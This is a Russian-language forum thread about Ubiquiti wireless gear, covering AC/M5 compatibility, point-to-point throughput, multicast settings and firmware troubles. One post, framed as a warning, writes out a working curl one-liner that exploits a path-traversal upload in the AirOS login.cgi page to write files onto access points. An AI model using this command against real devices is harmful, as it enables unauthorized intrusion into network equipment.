rdc Опубликовано 3 мая, 2016 · Жалоба поворот грида ничем не поможет - нанка всё равно будет вынуждена работать в одной поляризации Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
gera023 Опубликовано 3 мая, 2016 (изменено) · Жалоба доброго времени. вопрос такой будет ли работать Litebeam 5-AC23 c базой рокет м5? Если нет то можно подружить их? Изменено 3 мая, 2016 пользователем gera023 Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
rdc Опубликовано 3 мая, 2016 · Жалоба Можно только наоборот - для M5 клиентов базой может быть AC устройство. Замените рокет на AC, и можете новым клиентам ставить лайтбимы. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
gera023 Опубликовано 4 мая, 2016 · Жалоба Можно только наоборот - для M5 клиентов базой может быть AC устройство. Замените рокет на AC, и можете новым клиентам ставить лайтбимы. так не надо.А прошивок нет никаких для ракеты м5 что бы ас поддерживала? нужно недорогое клиентское устройство с mimo.нанос не катит тк клиенты более 3 км Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
v0ster Опубликовано 4 мая, 2016 · Жалоба поворот грида ничем не поможет - нанка всё равно будет вынуждена работать в одной поляризации то есть две антенки у наностейшена превратятся в одну? или все же каждая из антенн будет обрабатывать только свою поляризацию? Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
rdc Опубликовано 4 мая, 2016 · Жалоба Нанка не умеет передавать одной из антенн одному клиенту, и в это же время другой антенной другому клиенту. Она при любом раскладе будет передавать по очереди. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
rdc Опубликовано 4 мая, 2016 · Жалоба А прошивок нет никаких для ракеты м5 что бы ас поддерживала?Увы, только наоборот.Rocket AC умеет работать со смесью AC и M5 клиентов. Но вообще, замена базы на AC хороша не только тем, что можно будет цеплять дешёвые лайтбимы, но ещё и тем, что процессор у AC в разы быстрее. Максимальная суммарная скорость возрастёт раза в 2-3 даже для M5 клиентов. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
dronis3 Опубликовано 4 мая, 2016 · Жалоба А прошивок нет никаких для ракеты м5 что бы ас поддерживала?Увы, только наоборот. Максимальная суммарная скорость возрастёт раза в 2-3 даже для M5 клиентов. Пока это только прогнозы, т.к бета прошивки показали что скорость только упала. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
chebur75 Опубликовано 16 мая, 2016 · Жалоба Подскажите, пожалуйста, есть две PowerBeam 5AC-300, установлены на расстоянии 11км и никак не получается их связать. Какой вообще может быть алгоритм действий кроме как направить ориентировочно друг на друга? Расстояние немаленькое же, а уровни сигналов показывает только когда свяжутся. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
Danila Опубликовано 16 мая, 2016 (изменено) · Жалоба Советую всем ознакомиться и проверить свои точки доступа: ubnt forum Эксплуатировать уязвимость достаточно просто. curl -s -m 4 -F "file=@/etc/passwd;filename=../../etc/persistent/aaa" -H "Expect:" "http://access_point_ip/login.cgi " -k Изменено 16 мая, 2016 пользователем Danila Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
maximushell Опубликовано 16 мая, 2016 · Жалоба у нас бомбануло на прошивке 5.5.6, полная жопа товарищи... Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
taf_321 Опубликовано 16 мая, 2016 · Жалоба 5.5.6 Release date 06-04-2013 Некрофилы должны страдать. Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
kravtai Опубликовано 16 мая, 2016 · Жалоба 5.5.6 Release date 06-04-2013 Некрофилы должны страдать. 5.5.6 это стабильность-говорили они... Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
v0ster Опубликовано 28 мая, 2016 · Жалоба Народ, помогите расчитать будет ли это работать. Задача: подключить дом(8 квартир) к интернету(все 8 квартир) и ТВ(3 квартиры). Полная прямая видимость 300метров. У Наностейшенов M2/M5 два порта ethernet. Если задействовать оба порта возможно ли выжать 120-130мбит? (естественно разделить вланами порты для двух провайдеров) (в тестах вроде до 150мбит разгноняются) Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
Михаил777 Опубликовано 28 мая, 2016 (изменено) · Жалоба Форумчане, такая хрень происходит - от базы rocket m5 с определенной периодичностью - раз в несколько дней отваливаются все станции (3 штуки -72.-75.-78дБм) и до ребута не появляются ,до этого месяца два работало нормально, помогает программный ребут с GUI WEB. У базы такая версия (обновил с 5.6.3) Firmware Version: XW.v5.6.6 Build Number: 29183 Продавцы говорят мол проверь FTP, типа если плохой экран то вышибает супрессоры на ethernet портах и мож из-за это виснет, но сама база то не виснет-доступ к ней по gui web постоянный-недельку поработает и бац-все станции отвалились. Можете кто-что подсказать? Есть ли смыл в remote logs -или это бесполезная фигня? Как отследить нагрузку проца базы? Cпасибо. Изменено 28 мая, 2016 пользователем Михаил777 Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
a25k03 Опубликовано 4 июня, 2016 (изменено) · Жалоба v0ster Мой совет не расчитывай более 60-80 мбит оборудование М стандарта в мостах. Михаил777 Причин много и что бы точно ответить надо видеть скрины базы и клиентов. Для начала проверь убраны ли галочки на всех устройствах Multicast Data и Multicast Enhancement. Изменено 4 июня, 2016 пользователем a25k03 Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
ERROR_404-2015 Опубликовано 4 июня, 2016 · Жалоба Для начала проверь убраны ли галочки на всех устройствах Multicast Data и Multicast Enhancement. можно расписать для чего каждая служит? Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
a25k03 Опубликовано 4 июня, 2016 · Жалоба Почитайте для начала ЭТУ ТЕМУ Multicast Data – разрешение передачи через канал многоадресных пакетов. Multicast Enhancement - как я понял это некий аналог IGMP Snooping только для вайфая... Но точно известно одно! что Wi-Fi не любит мультикаст! Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
ERROR_404-2015 Опубликовано 4 июня, 2016 · Жалоба Почитайте для начала ЭТУ ТЕМУ Multicast Data – разрешение передачи через канал многоадресных пакетов. Multicast Enhancement - как я понял это некий аналог IGMP Snooping только для вайфая... Но точно известно одно! что Wi-Fi не любит мультикаст! Я читал...Multicast Enhancement-вот на счет этого я непонял что это,тк перевод меня смутил-----Если клиенты не посылают IGMP-сообщения, но должны получать многоадресный трафик, то, возможно, потребуется отключить опцию расширения Многоадресной рассылки. По умолчанию эта опция включена.---исходя из данного перевода эта опция,как я понял должна быть включена Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
Engineer09 Опубликовано 9 июня, 2016 · Жалоба Приветствую всех! Вышла новая прошивка 5.6.6, у меня на наносах 5.6.2, стоит обновляться, кто нить пробовал может? Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
Михаил777 Опубликовано 9 июня, 2016 (изменено) · Жалоба v0ster Мой совет не расчитывай более 60-80 мбит оборудование М стандарта в мостах. Михаил777 Причин много и что бы точно ответить надо видеть скрины базы и клиентов. Для начала проверь убраны ли галочки на всех устройствах Multicast Data и Multicast Enhancement. Cпасибо за ответ:) Multicast Enhancement на AP включена, и на одной станции из-3х включена multicast data, функция сильно грузит проц? И еще один вопрос знатокам- в чем может быть причина плохой работы одного направления в канале точка-точка,приемный сигнал хороший на двух сторонах, но в одну сторону качает максимальную скорость а в другую самый минимум на самой низкой манипуляции (модуляции). 1)Разница в уровнях приема по разным поляризациям? 2)Помеха на приеме на одной стороне? 3)? Изменено 9 июня, 2016 пользователем Михаил777 Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
XPEH Опубликовано 10 июня, 2016 · Жалоба Multicast Enhancement и multicast data у меня по умолчанию были в ключены,выключал и разницы не заметил,включил обратно,грузит проц эта штука врятли Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
Engineer09 Опубликовано 12 июня, 2016 · Жалоба Мой совет не расчитывай более 60-80 мбит оборудование М стандарта в мостах. Все верно Пики бывают до 85-90 но средняя максималка около 80, чего в принципе достаточно вполне, дальше все равно упираемся в скорость лана Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
XPEH Опубликовано 12 июня, 2016 (изменено) · Жалоба Мой совет не расчитывай более 60-80 мбит оборудование М стандарта в мостах. Все верно Пики бывают до 85-90 но средняя максималка около 80, чего в принципе достаточно вполне, дальше все равно упираемся в скорость лана 92 мб выдаёт на спидтесте,бывает и больше,на торренте качает 10 мб и больше,стоит старый роутер может он и режет скорость,ну в принципе более 90 мб выдаёт спокойно серия м Изменено 12 июня, 2016 пользователем XPEH Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
a25k03 Опубликовано 12 июня, 2016 · Жалоба 92 мб выдаёт на спидтесте,бывает и больше,на торренте качает 10 мб и больше,стоит старый роутер может он и режет скорость,ну в принципе более 90 мб выдаёт спокойно серия м 92 Мбита выдает в шаблонном тесте 1500 пакетами... но на практике нужно учитывать и худшие стороны... и рассчитывать нагрузку на железо не более 60-80% от максималки... Вставить ник Цитата Ответить с цитированием Поделиться сообщением Ссылка на сообщение Поделиться на других сайтах More sharing options...
